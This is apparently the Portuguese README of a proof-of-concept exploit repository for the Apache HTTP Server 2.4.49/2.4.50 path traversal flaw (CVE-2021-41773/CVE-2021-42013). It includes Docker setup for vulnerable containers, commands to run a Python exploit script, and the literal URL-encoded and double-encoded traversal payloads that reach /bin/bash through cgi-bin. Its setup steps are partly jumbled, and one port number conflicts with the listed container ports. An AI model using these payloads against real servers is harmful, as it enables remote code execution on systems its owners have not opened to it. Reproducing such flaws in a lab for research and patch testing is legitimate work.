
Exploit de prova de conceito para a vulnerabilidade de path traversal no Apache HTTP Server 2.4.49/2.4.50 (CVE-2021-41773) que permite execução remota de código via scripts CGI. Inclui ambiente de reprodução baseado em Docker e script de exploit em Python.
Foi encontrada uma falha em uma alteração feita na normalização de caminho no Apache HTTP Server 2.4.49. Um atacante poderia usar um ataque de path traversal para mapear URLs para arquivos fora dos diretórios configurados por diretivas semelhantes a Alias. Se os arquivos fora desses diretórios não estiverem protegidos pela configuração padrão "require all denied", essas solicitações podem ser bem-sucedidas. Se os scripts CGI também estiverem habilitados para esses caminhos de alias, isso poderá permitir a execução remota de código. Sabe-se que esse problema está sendo explorado ativamente. Esse problema afeta apenas o Apache 2.4.49, e não versões anteriores. A correção no Apache HTTP Server 2.4.50 foi incompleta; veja CVE-2021-42013.
pip3 install colorama)perl de exemplo hello-world executado nos contêineresInicie um Apache httpd vulnerável (com a configuração padrão) como um contêiner docker/podman.
| Dockerfile | Container | Version |
|---|---|---|
| Dockerfile2449 | vulnapache2449 | 2.4.49 |
| Dockerfile2450 | vulnapache2450 | 2.4.50 |
curl localhost:2449/cgi-bin/hello.pl
3.2 curl localhost:2450/cgi-bin/hello.pl| Container | Porta de Escuta |
|---|---|
| vulnapache2449 | 2449 |
| vulnapache2450 | 2450 |
python3 main.py localhost:4249
1.2 selecione o ataque na versão 2.4.49
1.3 python3 main.py localhost:2450
1.4 selecione o ataque na versão 2.4.50
O exploit utilizará o módulo CGI do Apache httpd para permitir a execução de executáveis arbitrários por meio de path traversal.
/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash.%2e/ é codificado em URL e equivale a ../ se for decodificado.
.%%32%658 é duplamente codificado em URL e também equivale a ../ se for decodificado.